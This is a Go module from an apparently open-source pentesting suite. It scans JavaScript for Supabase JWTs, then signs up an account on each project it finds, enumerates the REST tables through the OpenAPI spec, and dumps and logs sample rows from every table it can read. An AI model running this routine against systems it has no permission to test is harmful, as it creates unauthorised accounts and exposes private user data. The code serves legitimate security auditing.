/* ·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━· : : : █▀ █ █▀▀ · Blazing-fast pentesting suite : : ▄█ █ █▀ · BSD 3-Clause License : : : : (c) 2022-2026 vmfunc, xyzeva, : : lunchcat alumni & contributors : : : ·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━· */ // todo: scan for storage and auth vulns package js import ( "bytes" "context" "encoding/base64" "encoding/json" "errors" "fmt" "io" "net/http" "os" "regexp" "slices" "strconv" "strings" "time" "github.com/charmbracelet/log" "github.com/vmfunc/sif/internal/httpx" ) // jwtRegex matches JWT tokens in JavaScript content. var jwtRegex = regexp.MustCompile(`["'\x60](ey[A-Za-z0-9_-]{2,}(?:\.[A-Za-z0-9_-]{2,}){2})["'\x60]`) type supabaseJwtBody struct { ProjectId *string `json:"ref"` Role *string `json:"role"` } // parseSupabaseJwtBody decodes the claims segment of a jwt. jwt payloads are // unpadded base64url, so decode with that alphabet and fall back to the padded // variant for emitters that pad; RawStdEncoding would reject any payload whose // base64 lands on the url-safe - or _ characters. func parseSupabaseJwtBody(token string) (*supabaseJwtBody, error) { parts := strings.Split(token, ".") if len(parts) < 2 { return nil, fmt.Errorf("jwt has %d segments, want 3", len(parts)) } decoded, err := base64.RawURLEncoding.DecodeString(parts[1]) if err != nil { decoded, err = base64.URLEncoding.DecodeString(parts[1]) if err != nil { return nil, fmt.Errorf("base64url decode jwt body: %w", err) } } var body *supabaseJwtBody if err := json.Unmarshal(decoded, &body); err != nil { return nil, fmt.Errorf("unmarshal jwt body: %w", err) } // a literal json null unmarshals into a nil pointer with no error; guard so // callers can dereference the result without a nil panic. if body == nil { return nil, errors.New("jwt body is json null") } return body, nil } type supabaseScanResult struct { ProjectId string `json:"project_id"` ApiKey string `json:"api_key"` Role string `json:"role"` // note: if this isnt anon its bad Collections []supabaseCollection `json:"collections"` } type supabaseCollection struct { Name string `json:"name"` Sample []json.RawMessage `json:"sample"` // raw JSON for deferred parsing Count int `json:"count"` } // supabaseArrayResponse represents a response that is an array with count header. type supabaseArrayResponse struct { Array []json.RawMessage Count int } // supabaseAuthResponse represents the auth response from Supabase. type supabaseAuthResponse struct { AccessToken string `json:"access_token"` } // supabaseOpenAPIResponse represents the OpenAPI spec response. type supabaseOpenAPIResponse struct { Paths map[string]json.RawMessage `json:"paths"` } // getSupabaseArrayResponse fetches a Supabase endpoint that returns an array. func getSupabaseArrayResponse(projectId, path, apikey string, auth *string, timeout time.Duration) (*supabaseArrayResponse, error) { body, resp, err := doSupabaseRequest(projectId, path, apikey, auth, timeout) //nolint:bodyclose // closed in doSupabaseRequest if err != nil { return nil, err } var arr []json.RawMessage if err := json.Unmarshal(body, &arr); err != nil { return nil, err } contentRange := resp.Header.Get("Content-Range") parts := strings.Split(contentRange, "/") if len(parts) < 2 { return nil, errors.New("invalid Content-Range header") } count, err := strconv.Atoi(parts[1]) if err != nil { return nil, err } return &supabaseArrayResponse{Array: arr, Count: count}, nil } // getSupabaseOpenAPI fetches the OpenAPI spec from Supabase. func getSupabaseOpenAPI(projectId, apikey string, auth *string, timeout time.Duration) (*supabaseOpenAPIResponse, error) { body, _, err := doSupabaseRequest(projectId, "/rest/v1/", apikey, auth, timeout) //nolint:bodyclose // closed in doSupabaseRequest if err != nil { return nil, err } var spec supabaseOpenAPIResponse if err := json.Unmarshal(body, &spec); err != nil { return nil, err } return &spec, nil } // doSupabaseRequest performs a GET request to the Supabase API. func doSupabaseRequest(projectId, path, apikey string, auth *string, timeout time.Duration) ([]byte, *http.Response, error) { client := httpx.Client(timeout) req, err := http.NewRequestWithContext(context.TODO(), http.MethodGet, "https://"+projectId+".supabase.co"+path, http.NoBody) if err != nil { return nil, nil, err } log.Debugf("Sending request to %s", req.URL.String()) req.Header.Set("apikey", apikey) req.Header.Set("Prefer", "count=exact") if auth != nil { req.Header.Set("Authorization", "Bearer "+*auth) } resp, err := client.Do(req) if err != nil { return nil, nil, err } // the non-200 branch returns before reading the body, so drain on close to // keep the conn reusable instead of leaking it. defer httpx.DrainClose(resp) if resp.StatusCode != 200 { return nil, nil, errors.New("request to " + resp.Request.URL.String() + " failed with status code " + strconv.Itoa(resp.StatusCode)) } body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024)) if err != nil { return nil, nil, err } return body, resp, nil } func ScanSupabase(jsContent string, jsUrl string, timeout time.Duration) ([]supabaseScanResult, error) { supabaselog := log.NewWithOptions(os.Stderr, log.Options{ Prefix: "JavaScript > Supabase", }).With("url", jsUrl) var results = []supabaseScanResult{} jwtGroups := jwtRegex.FindAllStringSubmatch(jsContent, -1) var jwts = []string{} for _, jwtGroup := range jwtGroups { jwts = append(jwts, jwtGroup[1]) } slices.Sort(jwts) jwts = slices.Compact(jwts) for _, jwt := range jwts { supabaseJwt, err := parseSupabaseJwtBody(jwt) if err != nil { supabaselog.Debugf("Failed to parse JWT %s: %s", jwt, err) continue } if supabaseJwt.ProjectId == nil || supabaseJwt.Role == nil { continue } supabaselog.Infof("Found valid supabase project %s with role %s", *supabaseJwt.ProjectId, *supabaseJwt.Role) client := httpx.Client(timeout) req, err := http.NewRequestWithContext(context.TODO(), http.MethodPost, "https://"+*supabaseJwt.ProjectId+".supabase.co/auth/v1/signup", bytes.NewBufferString(`{"email":"automated`+strconv.Itoa(int(time.Now().Unix()))+`@sif.sh","password":"automatedacct"}`)) if err != nil { supabaselog.Errorf("Error while creating HTTP req for creating user: %s", err) continue } req.Header.Set("apikey", jwt) resp, err := client.Do(req) if err != nil { supabaselog.Errorf("Error while sending request to create user: %s", err) continue } var auth string if resp.StatusCode == http.StatusOK { body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024)) resp.Body.Close() if err != nil { supabaselog.Errorf("Failed to read signup response for %s: %s", *supabaseJwt.ProjectId, err) continue } var authResp supabaseAuthResponse if err := json.Unmarshal(body, &authResp); err != nil { supabaselog.Errorf("Failed to parse signup response for %s: %s", *supabaseJwt.ProjectId, err) continue } auth = authResp.AccessToken supabaselog.Infof("Created account with JWT %s", auth) } else { // non-200 signup: body never read, so drain to reuse the conn. httpx.DrainClose(resp) } var collections = []supabaseCollection{} openAPI, err := getSupabaseOpenAPI(*supabaseJwt.ProjectId, jwt, &auth, timeout) if err != nil { supabaselog.Errorf("Failed to fetch openapi spec for %s: %s", *supabaseJwt.ProjectId, err) continue } if openAPI.Paths == nil { supabaselog.Errorf("No paths found in supabase openapi for %s", *supabaseJwt.ProjectId) continue } for path := range openAPI.Paths { if path == "/" { continue } // todo: support for scanning rpc calls if strings.HasPrefix(path, "/rpc/") { continue } sampleResp, err := getSupabaseArrayResponse(*supabaseJwt.ProjectId, "/rest/v1"+path, jwt, &auth, timeout) if err != nil { continue } marshalled, err := json.Marshal(sampleResp.Array) if err != nil { supabaselog.Errorf("Failed to marshal sample data for %s: %s", path, err) } supabaselog.Infof("Got sample (1000 entries) for collection %s: %s", path, string(marshalled)) // limit to first 10 samples sampleLimit := len(sampleResp.Array) if sampleLimit > 10 { sampleLimit = 10 } collection := supabaseCollection{ Name: strings.TrimPrefix(path, "/"), Sample: sampleResp.Array[:sampleLimit], // passed to local LLM for scope Count: sampleResp.Count, } if collection.Count > 1 /* one entry may just be for the user */ { collections = append(collections, collection) } } result := supabaseScanResult{ ProjectId: *supabaseJwt.ProjectId, ApiKey: jwt, Role: *supabaseJwt.Role, Collections: collections, } results = append(results, result) } // todo(eva): implement supabase scanning return results, nil }